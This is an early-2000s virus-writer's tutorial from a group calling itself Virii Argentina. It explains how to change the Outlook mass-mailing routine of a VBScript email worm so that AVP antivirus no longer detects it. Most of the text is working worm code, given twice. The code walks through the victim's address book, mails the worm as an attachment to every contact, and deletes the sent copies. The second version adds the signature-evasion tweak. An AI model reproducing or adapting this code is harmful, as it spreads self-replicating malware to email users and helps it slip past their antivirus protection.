Anti Avp Vbs I-Worms Detection. By [K]Alamar

In one of the last Updates, the Avp antivirus has added a detection for i-Worms that uses the Outlook replication method, used in almost all the Vbs and Js worms, Like the I Love you, Bubbleboy and all of them.
Ok, this will made your I-worm undetectable for avp till they add it to the database; i'm pretty sure that if in your worm you use Outlook replication you use this code, or one similar:
---
Dim fso, ws
Set fso = CreateObject("Scripting.filesystemobject")
Set ws = CreateObject("WScript.Shell")
Set OApp = CreateObject("Outlook.Application")
if oapp="Outlook" then
Set Mapi = OApp.GetNameSpace("MAPI")
For Each AddList In Mapi.AddressLists
If AddList.AddressEntries.Count <> 0 Then
For AddListCount = 1 To AddList.AddressEntries.Count *
Set AddListEntry = AddList.AddressEntries(AddListCount)
Set msg = OApp.CreateItem(0)
msg.To = AddListEntry.Address
msg.Subject = "Your subject"
msg.Body = "The body"
msg.Attachments.Add "path to your Worm"
msg.DeleteAfterSubmit = True
If msg.To <> "" Then
msg.Send
End If
Next
End If
Next
end if
---
The only thing that you should do is add one line and change another, like here (lines with * are the modified ones):
---
Dim fso, ws
Set fso = CreateObject("Scripting.filesystemobject")
Set ws = CreateObject("WScript.Shell")
Set OApp = CreateObject("Outlook.Application")
if oapp="Outlook" then
Set Mapi = OApp.GetNameSpace("MAPI")
For Each AddList In Mapi.AddressLists
If AddList.AddressEntries.Count <> 0 Then
AddlistCount = AddList.AddressEntries.Count *
For AddListCount = 1 To
AddlistCount *
Set AddListEntry = AddList.AddressEntries(AddListCount)
Set msg = OApp.CreateItem(0)
msg.To = AddListEntry.Address
msg.Subject = "Your subject"
msg.Body = "The body"
msg.Attachments.Add "path to your Worm"
msg.DeleteAfterSubmit = True
If msg.To <> "" Then
msg.Send
End If
Next
End If
Next
end if
---
You should delete the "*" if you want the worm to work.
I think that if you know something about I-Worms you should understood what i did; i just create a new variable, AddlistCount , and make it be like the number of addressentries, and then i use that new variable in the next line.

I hope you understood This.
[K]Alamar - kalamar@virii.com.ar
Member Virii Argentina
Http://www.virii.com.ar